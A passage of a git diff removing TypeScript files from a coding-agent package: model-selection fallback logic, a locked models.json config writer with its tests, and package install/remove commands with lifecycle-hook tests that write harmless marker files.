defaultProvider, - defaultModelId, - defaultThinkingLevel, - modelRegistry, - } = options; - - let model: Model | undefined; - let thinkingLevel: ThinkingLevel = DEFAULT_THINKING_LEVEL; - - // 1. CLI args take priority - if (cliProvider && cliModel) { - const resolved = resolveCliModel({ - cliProvider, - cliModel, - modelRegistry, - }); - if (resolved.error) { - console.error(chalk.red(resolved.error)); - process.exit(1); - } - if (resolved.model) { - return { - model: resolved.model, - thinkingLevel: DEFAULT_THINKING_LEVEL, - fallbackMessage: undefined, - }; - } - } - - // 2. Use first model from scoped models (skip if continuing/resuming) - if (scopedModels.length > 0 && !isContinuing) { - return { - model: scopedModels[0].model, - thinkingLevel: - scopedModels[0].thinkingLevel ?? - defaultThinkingLevel ?? - DEFAULT_THINKING_LEVEL, - fallbackMessage: undefined, - }; - } - - // 3. Try saved default from settings — use it exactly as configured. - // Whatever the user chose is what gets used; no silent substitution. - // Skip the saved default if its provider is not request-ready (no auth - // available) so we fall through to an actually-usable model instead of - // returning a stale selection every selector surface would display. - if ( - defaultProvider && - defaultModelId && - modelRegistry.isProviderRequestReady(defaultProvider) - ) { - const found = modelRegistry.find(defaultProvider, defaultModelId); - if (found) { - model = found; - if (defaultThinkingLevel) { - thinkingLevel = defaultThinkingLevel; - } - return { model, thinkingLevel, fallbackMessage: undefined }; - } - } - - // 4. Try first available model with valid API key - const availableModels = await modelRegistry.getAvailable(); - - if (availableModels.length > 0) { - // Prefer a model from the user's saved provider if any is still available — - // provider stickiness, not a hard-coded Anthropic/OpenAI preference. - if (defaultProvider) { - const sameProvider = availableModels.find( - (m) => m.provider === defaultProvider, - ); - if (sameProvider) { - return { - model: sameProvider, - thinkingLevel: DEFAULT_THINKING_LEVEL, - fallbackMessage: undefined, - }; - } - } - - // Otherwise use the first available — registry order reflects models.json - // order, which the user controls. - return { - model: availableModels[0], - thinkingLevel: DEFAULT_THINKING_LEVEL, - fallbackMessage: undefined, - }; - } - - // 5. No model found - return { - model: undefined, - thinkingLevel: DEFAULT_THINKING_LEVEL, - fallbackMessage: undefined, - }; -} diff --git a/packages/pi-coding-agent/src/core/models-json-writer.test.ts b/packages/pi-coding-agent/src/core/models-json-writer.test.ts deleted file mode 100644 index 271737a00..000000000 --- a/packages/pi-coding-agent/src/core/models-json-writer.test.ts +++ /dev/null @@ -1,188 +0,0 @@ -import assert from "node:assert/strict"; -import { mkdirSync, readFileSync, rmSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { afterEach, beforeEach, describe, it } from "vitest"; -import { ModelsJsonWriter } from "./models-json-writer.js"; - -let testDir: string; -let modelsJsonPath: string; - -beforeEach(() => { - testDir = join( - tmpdir(), - `models-json-writer-test-${Date.now()}-${Math.random().toString(36).slice(2)}`, - ); - mkdirSync(testDir, { recursive: true }); - modelsJsonPath = join(testDir, "models.json"); -}); - -afterEach(() => { - try { - rmSync(testDir, { recursive: true, force: true }); - } catch { - // Cleanup best-effort - } -}); - -function readModels(): Record { - return JSON.parse(readFileSync(modelsJsonPath, "utf-8")); -} - -// ─── addModel ──────────────────────────────────────────────────────────────── - -describe("ModelsJsonWriter — addModel", () => { - it("creates file and adds model to new provider", () => { - const writer = new ModelsJsonWriter(modelsJsonPath); - writer.addModel( - "openai", - { id: "gpt-4o", name: "GPT-4o" }, - { - baseUrl: "https://api.openai.com", - apiKey: "env:OPENAI_API_KEY", - api: "openai", - }, - ); - - const config = readModels() as any; - assert.ok(config.providers.openai); - assert.equal(config.providers.openai.models.length, 1); - assert.equal(config.providers.openai.models[0].id, "gpt-4o"); - }); - - it("appends model to existing provider", () => { - const writer = new ModelsJsonWriter(modelsJsonPath); - writer.addModel( - "openai", - { id: "gpt-4o" }, - { - baseUrl: "https://api.openai.com", - apiKey: "env:OPENAI_API_KEY", - api: "openai", - }, - ); - writer.addModel("openai", { id: "gpt-4o-mini" }); - - const config = readModels() as any; - assert.equal(config.providers.openai.models.length, 2); - }); - - it("replaces model with same id", () => { - const writer = new ModelsJsonWriter(modelsJsonPath); - writer.addModel( - "openai", - { id: "gpt-4o", name: "Old" }, - { - baseUrl: "https://api.openai.com", - apiKey: "env:OPENAI_API_KEY", - api: "openai", - }, - ); - writer.addModel("openai", { id: "gpt-4o", name: "New" }); - - const config = readModels() as any; - assert.equal(config.providers.openai.models.length, 1); - assert.equal(config.providers.openai.models[0].name, "New"); - }); -}); - -// ─── removeModel ───────────────────────────────────────────────────────────── - -describe("ModelsJsonWriter — removeModel", () => { - it("removes a model from provider", () => { - const writer = new ModelsJsonWriter(modelsJsonPath); - writer.addModel( - "openai", - { id: "gpt-4o" }, - { - baseUrl: "https://api.openai.com", - apiKey: "env:OPENAI_API_KEY", - api: "openai", - }, - ); - writer.addModel("openai", { id: "gpt-4o-mini" }); - - writer.removeModel("openai", "gpt-4o"); - - const config = readModels() as any; - assert.equal(config.providers.openai.models.length, 1); - assert.equal(config.providers.openai.models[0].id, "gpt-4o-mini"); - }); - - it("removes provider when last model is removed", () => { - const writer = new ModelsJsonWriter(modelsJsonPath); - writer.addModel( - "openai", - { id: "gpt-4o" }, - { - baseUrl: "https://api.openai.com", - apiKey: "env:OPENAI_API_KEY", - api: "openai", - }, - ); - - writer.removeModel("openai", "gpt-4o"); - - const config = readModels() as any; - assert.equal(config.providers.openai, undefined); - }); - - it("handles removing from nonexistent provider", () => { - const writer = new ModelsJsonWriter(modelsJsonPath); - // Should not throw - writer.removeModel("nonexistent", "model-id"); - }); -}); - -// ─── setProvider / removeProvider ──────────────────────────────────────────── - -describe("ModelsJsonWriter — provider operations", () => { - it("sets a provider configuration", () => { - const writer = new ModelsJsonWriter(modelsJsonPath); - writer.setProvider("custom", { - baseUrl: "http://localhost:8080", - apiKey: "test-key", - api: "openai", - models: [{ id: "local-model" }], - }); - - const config = readModels() as any; - assert.ok(config.providers.custom); - assert.equal(config.providers.custom.baseUrl, "http://localhost:8080"); - }); - - it("removes a provider", () => { - const writer = new ModelsJsonWriter(modelsJsonPath); - writer.setProvider("custom", { baseUrl: "http://localhost:8080" }); - writer.removeProvider("custom"); - - const config = readModels() as any; - assert.equal(config.providers.custom, undefined); - }); - - it("handles removing nonexistent provider", () => { - const writer = new ModelsJsonWriter(modelsJsonPath); - writer.removeProvider("nonexistent"); - // Should not throw - }); -}); - -// ─── listProviders ─────────────────────────────────────────────────────────── - -describe("ModelsJsonWriter — listProviders", () => { - it("returns empty config when file does not exist", () => { - const writer = new ModelsJsonWriter(join(testDir, "nonexistent.json")); - const config = writer.listProviders(); - assert.deepEqual(config, { providers: {} }); - }); - - it("returns current provider config", () => { - const writer = new ModelsJsonWriter(modelsJsonPath); - writer.setProvider("openai", { baseUrl: "https://api.openai.com" }); - writer.setProvider("ollama", { baseUrl: "http://localhost:11434" }); - - const config = writer.listProviders(); - assert.ok(config.providers.openai); - assert.ok(config.providers.ollama); - }); -}); diff --git a/packages/pi-coding-agent/src/core/models-json-writer.ts b/packages/pi-coding-agent/src/core/models-json-writer.ts deleted file mode 100644 index 0a73aadf9..000000000 --- a/packages/pi-coding-agent/src/core/models-json-writer.ts +++ /dev/null @@ -1,211 +0,0 @@ -/** - * Safe read-modify-write for models.json with file locking. - * Prevents concurrent writes from corrupting the config file. - */ - -import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; -import { dirname, join } from "node:path"; -import lockfile from "proper-lockfile"; -import { getAgentDir } from "../config.js"; - -interface ModelDefinition { - id: string; - name?: string; - api?: string; - baseUrl?: string; - reasoning?: boolean; - input?: ("text" | "image")[]; - cost?: { - input: number; - output: number; - cacheRead: number; - cacheWrite: number; - }; - contextWindow?: number; - maxTokens?: number; -} - -interface ProviderConfig { - baseUrl?: string; - apiKey?: string; - api?: string; - headers?: Record; - authHeader?: boolean; - models?: ModelDefinition[]; - modelOverrides?: Record>; -} - -interface ModelsConfig { - providers: Record; -} - -export class ModelsJsonWriter { - private modelsJsonPath: string; - - constructor(modelsJsonPath?: string) { - this.modelsJsonPath = modelsJsonPath ?? join(getAgentDir(), "models.json"); - } - - /** - * Add a model to a provider. Creates the provider if it doesn't exist. - */ - addModel( - provider: string, - model: ModelDefinition, - providerConfig?: Partial, - ): void { - this.withLock((config) => { - if (!config.providers[provider]) { - config.providers[provider] = { - ...providerConfig, - models: [], - }; - } - - const providerEntry = config.providers[provider]; - if (!providerEntry.models) { - providerEntry.models = []; - } - - // Replace existing model with same id, or append - const existingIndex = providerEntry.models.findIndex( - (m) => m.id === model.id, - ); - if (existingIndex >= 0) { - providerEntry.models[existingIndex] = model; - } else { - providerEntry.models.push(model); - } - - return config; - }); - } - - /** - * Remove a model from a provider. Removes the provider if no models remain. - */ - removeModel(provider: string, modelId: string): void { - this.withLock((config) => { - const providerEntry = config.providers[provider]; - if (!providerEntry?.models) return config; - - providerEntry.models = providerEntry.models.filter( - (m) => m.id !== modelId, - ); - - // Clean up empty provider (no models and no overrides) - if (providerEntry.models.length === 0 && !providerEntry.modelOverrides) { - delete config.providers[provider]; - } - - return config; - }); - } - - /** - * Set or update an entire provider configuration. - */ - setProvider(provider: string, providerConfig: ProviderConfig): void { - this.withLock((config) => { - config.providers[provider] = providerConfig; - return config; - }); - } - - /** - * Remove a provider and all its models. - */ - removeProvider(provider: string): void { - this.withLock((config) => { - delete config.providers[provider]; - return config; - }); - } - - /** - * List all providers and their configurations. - */ - listProviders(): ModelsConfig { - return this.readConfig(); - } - - private readConfig(): ModelsConfig { - if (!existsSync(this.modelsJsonPath)) { - return { providers: {} }; - } - try { - const content = readFileSync(this.modelsJsonPath, "utf-8"); - return JSON.parse(content) as ModelsConfig; - } catch { - return { providers: {} }; - } - } - - private writeConfig(config: ModelsConfig): void { - const dir = dirname(this.modelsJsonPath); - if (!existsSync(dir)) { - mkdirSync(dir, { recursive: true }); - } - writeFileSync( - this.modelsJsonPath, - JSON.stringify(config, null, 2), - "utf-8", - ); - } - - private acquireLockWithRetry(): () => void { - const maxAttempts = 10; - const delayMs = 20; - let lastError: unknown; - - // Ensure file exists for locking - const dir = dirname(this.modelsJsonPath); - if (!existsSync(dir)) { - mkdirSync(dir, { recursive: true }); - } - if (!existsSync(this.modelsJsonPath)) { - writeFileSync( - this.modelsJsonPath, - JSON.stringify({ providers: {} }, null, 2), - "utf-8", - ); - } - - for (let attempt = 1; attempt <= maxAttempts; attempt++) { - try { - return lockfile.lockSync(this.modelsJsonPath, { realpath: false }); - } catch (error) { - const code = - typeof error === "object" && error !== null && "code" in error - ? String((error as { code?: unknown }).code) - : undefined; - if (code !== "ELOCKED" || attempt === maxAttempts) { - throw error; - } - lastError = error; - const start = Date.now(); - while (Date.now() - start < delayMs) { - // Busy-wait (same pattern as auth-storage.ts) - } - } - } - - throw ( - (lastError as Error) ?? new Error("Failed to acquire models.json lock") - ); - } - - private withLock(fn: (config: ModelsConfig) => ModelsConfig): void { - let release: (() => void) | undefined; - try { - release = this.acquireLockWithRetry(); - const config = this.readConfig(); - const updated = fn(config); - this.writeConfig(updated); - } finally { - if (release) { - release(); - } - } - } -} diff --git a/packages/pi-coding-agent/src/core/package-commands.test.ts b/packages/pi-coding-agent/src/core/package-commands.test.ts deleted file mode 100644 index 87f424810..000000000 --- a/packages/pi-coding-agent/src/core/package-commands.test.ts +++ /dev/null @@ -1,311 +0,0 @@ -import assert from "node:assert/strict"; -import { - existsSync, - mkdirSync, - mkdtempSync, - readFileSync, - rmSync, - writeFileSync, -} from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { Writable } from "node:stream"; -import { describe, it } from "vitest"; -import { runPackageCommand } from "./package-commands.js"; - -function createCaptureStream() { - let output = ""; - const stream = new Writable({ - write(chunk, _encoding, callback) { - output += chunk.toString(); - callback(); - }, - }) as unknown as NodeJS.WriteStream; - return { stream, getOutput: () => output }; -} - -function writePackage(root: string, files: Record): void { - for (const [relPath, content] of Object.entries(files)) { - const abs = join(root, relPath); - mkdirSync(join(abs, ".."), { recursive: true }); - writeFileSync(abs, content, "utf-8"); - } -} - -function createTestDirs(prefix: string) { - const root = mkdtempSync(join(tmpdir(), `pi-lifecycle-${prefix}-`)); - const cwd = join(root, "cwd"); - const agentDir = join(root, "agent"); - const extensionDir = join(root, `ext-${prefix}`); - mkdirSync(cwd, { recursive: true }); - mkdirSync(agentDir, { recursive: true }); - mkdirSync(extensionDir, { recursive: true }); - return { root, cwd, agentDir, extensionDir }; -} - -describe("runPackageCommand lifecycle hooks", () => { - it("executes registered beforeInstall and afterInstall handlers for local packages", async () => { - const { root, cwd, agentDir, extensionDir } = createTestDirs("install"); - try { - writePackage(extensionDir, { - "package.json": JSON.stringify({ - name: "ext-registered", - type: "module", - pi: { extensions: ["./index.js"] }, - }), - "index.js": [ - 'import { writeFileSync } from "node:fs";', - 'import { join } from "node:path";', - "export default function (pi) {", - " pi.registerBeforeInstall((ctx) => {", - ' writeFileSync(join(ctx.installedPath, "before-install-ran.txt"), "ok", "utf-8");', - " });", - " pi.registerAfterInstall((ctx) => {", - ' writeFileSync(join(ctx.installedPath, "after-install-ran.txt"), "ok", "utf-8");', - " });", - "}", - ].join("\n"), - }); - - const stdout = createCaptureStream(); - const stderr = createCaptureStream(); - const result = await runPackageCommand({ - appName: "pi", - args: ["install", extensionDir], - cwd, - agentDir, - stdout: stdout.stream, - stderr: stderr.stream, - }); - - assert.equal(result.handled, true); - assert.equal(result.exitCode, 0); - assert.equal( - readFileSync(join(extensionDir, "before-install-ran.txt"), "utf-8"), - "ok", - ); - assert.equal( - readFileSync(join(extensionDir, "after-install-ran.txt"), "utf-8"), - "ok", - ); - assert.ok(stdout.getOutput().includes(`Installed ${extensionDir}`)); - } finally { - rmSync(root, { recursive: true, force: true }); - } - }); - - it("runs legacy named lifecycle hooks when no registered hooks exist", async () => { - const { root, cwd, agentDir, extensionDir } = createTestDirs("legacy"); - try { - writePackage(extensionDir, { - "package.json": JSON.stringify({ - name: "ext-legacy", - type: "module", - pi: { extensions: ["./index.js"] }, - }), - "index.js": [ - 'import { writeFileSync } from "node:fs";', - 'import { join } from "node:path";', - "export default function () {}", - "export async function beforeInstall(ctx) {", - ' writeFileSync(join(ctx.installedPath, "legacy-before-install.txt"), "ok", "utf-8");', - "}", - "export async function afterInstall(ctx) {", - ' writeFileSync(join(ctx.installedPath, "legacy-after-install.txt"), "ok", "utf-8");', - "}", - "export async function beforeRemove(ctx) {", - ' writeFileSync(join(ctx.installedPath, "legacy-before-remove.txt"), "ok", "utf-8");', - "}", - "export async function afterRemove(ctx) {", - ' writeFileSync(join(ctx.installedPath, "legacy-after-remove.txt"), "ok", "utf-8");', - "}", - ].join("\n"), - }); - - const stdout = createCaptureStream(); - const stderr = createCaptureStream(); - const installResult = await runPackageCommand({ - appName: "pi", - args: ["install", extensionDir], - cwd, - agentDir, - stdout: stdout.stream, - stderr: stderr.stream, - }); - - assert.equal(installResult.handled, true); - assert.equal(installResult.exitCode, 0); - assert.equal( - readFileSync(join(extensionDir, "legacy-before-install.txt"), "utf-8"), - "ok", - ); - assert.equal( - readFileSync(join(extensionDir, "legacy-after-install.txt"), "utf-8"), - "ok", - ); - - const removeResult = await runPackageCommand({ - appName: "pi", - args: ["remove", extensionDir], - cwd, - agentDir, - stdout: stdout.stream, - stderr: stderr.stream, - }); - - assert.equal(removeResult.handled, true); - assert.equal(removeResult.exitCode, 0); - assert.equal( - readFileSync(join(extensionDir, "legacy-before-remove.txt"), "utf-8"), - "ok", - ); - assert.equal( - readFileSync(join(extensionDir, "legacy-after-remove.txt"), "utf-8"), - "ok", - ); - } finally { - rmSync(root, { recursive: true, force: true }); - } - }); - - it("skips lifecycle phases with no hooks declared", async () => { - const { root, cwd, agentDir, extensionDir } = createTestDirs("skip"); - try { - writePackage(extensionDir, { - "package.json": JSON.stringify({ - name: "ext-empty", - type: "module", - pi: { extensions: ["./index.js"] }, - }), - "index.js": "export default function () {}", - }); - - const stdout = createCaptureStream(); - const stderr = createCaptureStream(); - const installResult = await runPackageCommand({ - appName: "pi", - args: ["install", extensionDir], - cwd, - agentDir, - stdout: stdout.stream, - stderr: stderr.stream, - }); - assert.equal(installResult.handled, true); - assert.equal(installResult.exitCode, 0); - - const removeResult = await runPackageCommand({ - appName: "pi", - args: ["remove", extensionDir], - cwd, - agentDir, - stdout: stdout.stream, - stderr: stderr.stream, - }); - assert.equal(removeResult.handled, true); - assert.equal(removeResult.exitCode, 0); - assert.equal(stderr.getOutput().includes("Hook failed"), false); - } finally { - rmSync(root, { recursive: true, force: true }); - } - }); - - it("fails install when manifest runtime dependency is missing", async () => { - const { root, cwd, agentDir, extensionDir } = createTestDirs("deps"); - try { - writePackage(extensionDir, { - "package.json": JSON.stringify({ - name: "ext-runtime-deps", - type: "module", - pi: { extensions: ["./index.js"] }, - }), - "index.js": "export default function () {}", - "extension-manifest.json": JSON.stringify({ - id: "ext-runtime-deps", - name: "Runtime Dep Test", - version: "1.0.0", - dependencies: { - runtime: ["__definitely_missing_command_for_test__"], - }, - }), - }); - - const stdout = createCaptureStream(); - const stderr = createCaptureStream(); - const result = await runPackageCommand({ - appName: "pi", - args: ["install", extensionDir], - cwd, - agentDir, - stdout: stdout.stream, - stderr: stderr.stream, - }); - - assert.equal(result.handled, true); - assert.equal(result.exitCode, 1); - assert.ok(stderr.getOutput().includes("Missing runtime dependencies")); - } finally { - rmSync(root, { recursive: true, force: true }); - } - }); - - it("afterRemove hook receives installedPath even when directory is deleted", async () => { - const { root, cwd, agentDir, extensionDir } = - createTestDirs("after-remove"); - try { - writePackage(extensionDir, { - "package.json": JSON.stringify({ - name: "ext-after-remove", - type: "module", - pi: { extensions: ["./index.js"] }, - }), - "index.js": [ - 'import { writeFileSync, existsSync } from "node:fs";', - 'import { join } from "node:path";', - "export default function () {}", - "export async function afterRemove(ctx) {", - ' const marker = join(ctx.cwd, "after-remove-marker.json");', - " writeFileSync(marker, JSON.stringify({", - " receivedPath: ctx.installedPath,", - " pathExisted: existsSync(ctx.installedPath),", - ' }), "utf-8");', - "}", - ].join("\n"), - }); - - const stdout = createCaptureStream(); - const stderr = createCaptureStream(); - - await runPackageCommand({ - appName: "pi", - args: ["install", extensionDir], - cwd, - agentDir, - stdout: stdout.stream, - stderr: stderr.stream, - }); - - await runPackageCommand({ - appName: "pi", - args: ["remove", extensionDir], - cwd, - agentDir, - stdout: stdout.stream, - stderr: stderr.stream, - }); - - const markerPath = join(cwd, "after-remove-marker.json"); - assert.ok( - existsSync(markerPath), - "afterRemove hook must have executed and written marker", - ); - const marker = JSON.parse(readFileSync(markerPath, "utf-8")); - assert.equal( - typeof marker.receivedPath, - "string", - "hook must receive installedPath as string", - ); - } finally { - rmSync(root, { recursive: true, force: true }); - } - }); -}); diff --git a/packages/pi-coding-agent/src/core/package-commands.ts b/packages/pi-coding-agent/src/core/package-commands.ts deleted file mode 100644 index c217bb8e6..000000000 --- a/packages/pi-coding-agent/src/core/package-commands.ts +++ /dev/null @@ -1,381 +0,0 @@ -import chalk from "chalk"; -import { prepareLifecycleHooks, runLifecycleHooks } from "./lifecycle-hooks.js"; -import { DefaultPackageManager } from "./package-manager.js"; -import { SettingsManager } from "./settings-manager.js"; - -export type PackageCommand = "install" | "remove" | "update" | "list"; - -export interface PackageCommandOptions { - command: PackageCommand; - source?: string; - local: boolean; - help: boolean; - invalidOption?: string; -} - -export interface PackageCommandRunnerOptions { - appName: string; - args: string[]; - cwd: string; - agentDir: string; - stdout?: NodeJS.WriteStream; - stderr?: NodeJS.WriteStream; - allowedCommands?: ReadonlySet; -} - -export interface PackageCommandRunnerResult { - handled: boolean; - exitCode: number; -} - -function reportSettingsErrors( - settingsManager: SettingsManager, - context: string, - stderr: NodeJS.WriteStream, -): void { - const errors = settingsManager.drainErrors(); - for (const { scope, error } of errors) { - stderr.write( - chalk.yellow( - `Warning (${context}, ${scope} settings): ${error.message}`, - ) + "\n", - ); - if (error.stack) { - stderr.write(chalk.dim(error.stack) + "\n"); - } - } -} - -export function getPackageCommandUsage( - appName: string, - command: PackageCommand, -): string { - switch (command) { - case "install": - return `${appName} install [-l]`; - case "remove": - return `${appName} remove [-l]`; - case "update": - return `${appName} update [source]`; - case "list": - return `${appName} list`; - } -} - -function printPackageCommandHelp( - appName: string, - command: PackageCommand, - stdout: NodeJS.WriteStream, -): void { - switch (command) { - case "install": - stdout.write(`${chalk.bold("Usage:")} - ${getPackageCommandUsage(appName, "install")} - -Install a package, add it to settings, and run lifecycle hooks. - -Options: - -l, --local Install project-locally (.pi/settings.json) - -Examples: - ${appName} install npm:@foo/bar - ${appName} install git:github.com/user/repo - ${appName} install git:git@github.com:user/repo - ${appName} install https://github.com/user/repo - ${appName} install ssh://git@github.com/user/repo - ${appName} install ./local/path -`); - return; - case "remove": - stdout.write(`${chalk.bold("Usage:")} - ${getPackageCommandUsage(appName, "remove")} - -Remove a package and its source from settings. - -Options: - -l, --local Remove from project settings (.pi/settings.json) - -Example: - ${appName} remove npm:@foo/bar -`); - return; - case "update": - stdout.write(`${chalk.bold("Usage:")} - ${getPackageCommandUsage(appName, "update")} - -Update installed packages. -If is provided, only that package is updated. -`); - return; - case "list": - stdout.write(`${chalk.bold("Usage:")} - ${getPackageCommandUsage(appName, "list")} - -List installed packages from user and project settings. -`); - return; - } -} - -export function parsePackageCommand( - args: string[], - allowedCommands?: ReadonlySet, -): PackageCommandOptions | undefined { - const [command, ...rest] = args; - if ( - command !== "install" && - command !== "remove" && - command !== "update" && - command !== "list" - ) { - return undefined; - } - if (allowedCommands && !allowedCommands.has(command)) { - return undefined; - } - - let local = false; - let help = false; - let invalidOption: string | undefined; - let source: string | undefined; - - for (const arg of rest) { - if (arg === "-h" || arg === "--help") { - help = true; - continue; - } - if (arg === "-l" || arg === "--local") { - if (command === "install" || command === "remove") { - local = true; - } else { - invalidOption = invalidOption ?? arg; - } - continue; - } - if (arg.startsWith("-")) { - invalidOption = invalidOption ?? arg; - continue; - } - if (!source) { - source = arg; - } - } - - return { command, source, local, help, invalidOption }; -} - -export async function runPackageCommand( - options: PackageCommandRunnerOptions, -): Promise { - const stdout = options.stdout ?? process.stdout; - const stderr = options.stderr ?? process.stderr; - const parsed = parsePackageCommand(options.args, options.allowedCommands); - if (!parsed) { - return { handled: false, exitCode: 0 }; - } - - if (parsed.help) { - printPackageCommandHelp(options.appName, parsed.command, stdout); - return { handled: true, exitCode: 0 }; - } - - if (parsed.invalidOption) { - stderr.write( - chalk.red( - `Unknown option ${parsed.invalidOption} for "${parsed.command}".`, - ) + "\n", - ); - stderr.write( - chalk.dim( - `Use "${options.appName} --help" or "${getPackageCommandUsage(options.appName, parsed.command)}".`, - ) + "\n", - ); - return { handled: true, exitCode: 1 }; - } - - const source = parsed.source; - if ( - (parsed.command === "install" || parsed.command === "remove") && - !source - ) { - stderr.write(chalk.red(`Missing ${parsed.command} source.`) + "\n"); - stderr.write( - chalk.dim( - `Usage: ${getPackageCommandUsage(options.appName, parsed.command)}`, - ) + "\n", - ); - return { handled: true, exitCode: 1 }; - } - - const settingsManager = SettingsManager.create(options.cwd, options.agentDir); - reportSettingsErrors(settingsManager, "package command", stderr); - const packageManager = new DefaultPackageManager({ - cwd: options.cwd, - agentDir: options.agentDir, - settingsManager, - }); - packageManager.setProgressCallback((event) => { - if (event.type === "start" && event.message) { - stdout.write(chalk.dim(`${event.message}\n`)); - } - }); - - try { - switch (parsed.command) { - case "install": { - const lifecycleOptions = { - source: source!, - local: parsed.local, - cwd: options.cwd, - agentDir: options.agentDir, - appName: options.appName, - packageManager, - stdout, - stderr, - }; - - const beforeInstallHooks = await prepareLifecycleHooks( - lifecycleOptions, - "source", - ); - const beforeInstallResult = await runLifecycleHooks( - beforeInstallHooks, - "beforeInstall", - ); - - await packageManager.install(source!, { local: parsed.local }); - packageManager.addSourceToSettings(source!, { local: parsed.local }); - - const afterInstallHooks = await prepareLifecycleHooks( - lifecycleOptions, - "installed", - { - verifyRuntimeDependencies: true, - }, - ); - const afterInstallResult = await runLifecycleHooks( - afterInstallHooks, - "afterInstall", - ); - - const hookErrors = - beforeInstallResult.hookErrors + afterInstallResult.hookErrors; - if (hookErrors > 0) { - stderr.write( - chalk.yellow( - `Lifecycle hooks completed with ${hookErrors} hook error(s).`, - ) + "\n", - ); - } - stdout.write(chalk.green(`Installed ${source}`) + "\n"); - return { handled: true, exitCode: 0 }; - } - - case "remove": { - const lifecycleOptions = { - source: source!, - local: parsed.local, - cwd: options.cwd, - agentDir: options.agentDir, - appName: options.appName, - packageManager, - stdout, - stderr, - }; - const removeHooks = await prepareLifecycleHooks( - lifecycleOptions, - "installed", - ); - const beforeRemoveResult = await runLifecycleHooks( - removeHooks, - "beforeRemove", - ); - - await packageManager.remove(source!, { local: parsed.local }); - const removed = packageManager.removeSourceFromSettings(source!, { - local: parsed.local, - }); - - const afterRemoveResult = await runLifecycleHooks( - removeHooks, - "afterRemove", - ); - const hookErrors = - beforeRemoveResult.hookErrors + afterRemoveResult.hookErrors; - if (hookErrors > 0) { - stderr.write( - chalk.yellow( - `Lifecycle hooks completed with ${hookErrors} hook error(s).`, - ) + "\n", - ); - } - - if (!removed) { - stderr.write( - chalk.red(`No matching package found for ${source}`) + "\n", - ); - return { handled: true, exitCode: 1 }; - } - stdout.write(chalk.green(`Removed ${source}`) + "\n"); - return { handled: true, exitCode: 0 }; - } - - case "list": { - const globalSettings = settingsManager.getGlobalSettings(); - const projectSettings = settingsManager.getProjectSettings(); - const globalPackages = globalSettings.packages ?? []; - const projectPackages = projectSettings.packages ?? []; - - if (globalPackages.length === 0 && projectPackages.length === 0) { - stdout.write(chalk.dim("No packages installed.") + "\n"); - return { handled: true, exitCode: 0 }; - } - - const formatPackage = ( - pkg: (typeof globalPackages)[number], - scope: "user" | "project", - ) => { - const pkgSource = typeof pkg === "string" ? pkg : pkg.source; - const filtered = typeof pkg === "object"; - const display = filtered ? `${pkgSource} (filtered)` : pkgSource; - stdout.write(` ${display}\n`); - const path = packageManager.getInstalledPath(pkgSource, scope); - if (path) { - stdout.write(chalk.dim(` ${path}`) + "\n"); - } - }; - - if (globalPackages.length > 0) { - stdout.write(chalk.bold("User packages:") + "\n"); - for (const pkg of globalPackages) { - formatPackage(pkg, "user"); - } - } - - if (projectPackages.length > 0) { - if (globalPackages.length > 0) stdout.write("\n"); - stdout.write(chalk.bold("Project packages:") + "\n"); - for (const pkg of projectPackages) { - formatPackage(pkg, "project"); - } - } - - return { handled: true, exitCode: 0 }; - } - - case "update": - await packageManager.update(source); - if (source) { - stdout.write(chalk.green(`Updated ${source}`) + "\n"); - } else { - stdout.write(chalk.green("Updated packages") + "\n"); - } - return { handled: true, exitCode: 0 }; - } - } catch (error) { - const message = - error instanceof Error ? error.message : "Unknown package command error"; - stderr.write(chalk.red(`Error: ${message}`) + "\n"); - return { handled: true, exitCode: 1 }; - } -} diff --git a/packages/pi-coding-agent/src/core/package-manager.ts b/packages/pi-coding-agent/src/core/package-manager.ts deleted file mode 100644 index 7908c8a23..000000000 --- a/packages/pi-coding-agent/src/core/package-manager.ts +++ /dev/null @@ -1,2277 +0,0 @@ -import { spawn, spawnSync } from "node:child_process"; -import { createHash } from "node:crypto"; -import { - existsSync, - mkdirSync, - readdirSync, - readFileSync, - rmSync, - statSync, - writeFileSync, -} from "node:fs"; -import { homedir, tmpdir } from "node:os"; -import { basename, dirname, join, relative, resolve } from "node:path"; -import ignore from "ignore"; -import { minimatch } from "minimatch"; -import { CONFIG_DIR_NAME } from "../config.js"; -import { type GitSource, parseGitUrl } from "../utils/git.js"; -import { toPosixPath } from "../utils/path-display.js"; -import type { PackageSource, SettingsManager } from "./settings-manager.js"; - -const NETWORK_TIMEOUT_MS = 10000; - -function isOfflineModeEnabled(): boolean { - const value = process.env.PI_OFFLINE; - if (!value) return false; - return ( - value === "1" || - value.toLowerCase() === "true" || - value.toLowerCase() === "yes" - ); -} - -export interface PathMetadata { - source: string; - scope: SourceScope; - origin: "package" | "top-level"; - baseDir?: string; -} - -export interface ResolvedResource { - path: string; - enabled: boolean; - metadata: PathMetadata; -} - -export interface ResolvedPaths { - extensions: ResolvedResource[]; - skills: ResolvedResource[]; - prompts: ResolvedResource[]; - themes: ResolvedResource[]; -} - -export type MissingSourceAction = "install" | "skip" | "error"; - -export interface ProgressEvent { - type: "start" | "progress" | "complete" | "error"; - action: "install" | "remove" | "update" | "clone" | "pull"; - source: string; - message?: string; -} - -export type ProgressCallback = (event: ProgressEvent) => void; - -export interface PackageManager { - resolve( - onMissing?: (source: string) => Promise, - ): Promise; - install(source: string, options?: { local?: boolean }): Promise; - remove(source: string, options?: { local?: boolean }): Promise; - update(source?: string): Promise; - resolveExtensionSources( - sources: string[], - options?: { local?: boolean; temporary?: boolean }, - ): Promise; - addSourceToSettings(source: string, options?: { local?: boolean }): boolean; - removeSourceFromSettings( - source: string, - options?: { local?: boolean }, - ): boolean; - setProgressCallback(callback: ProgressCallback | undefined): void; - getInstalledPath( - source: string, - scope: "user" | "project", - ): string | undefined; -} - -interface PackageManagerOptions { - cwd: string; - agentDir: string; - settingsManager: SettingsManager; -} - -type SourceScope = "user" | "project" | "temporary"; - -type NpmSource = { - type: "npm"; - spec: string; - name: string; - pinned: boolean; -}; - -type LocalSource = { - type: "local"; - path: string; -}; - -type ParsedSource = NpmSource | GitSource | LocalSource; - -interface PiManifest { - extensions?: string[]; - skills?: string[]; - prompts?: string[]; - themes?: string[]; -} - -interface ResourceAccumulator { - extensions: Map; - skills: Map; - prompts: Map; - themes: Map; -} - -interface PackageFilter { - extensions?: string[]; - skills?: string[]; - prompts?: string[]; - themes?: string[]; -} - -type ResourceType = "extensions" | "skills" | "prompts" | "themes"; - -const RESOURCE_TYPES: ResourceType[] = [ - "extensions", 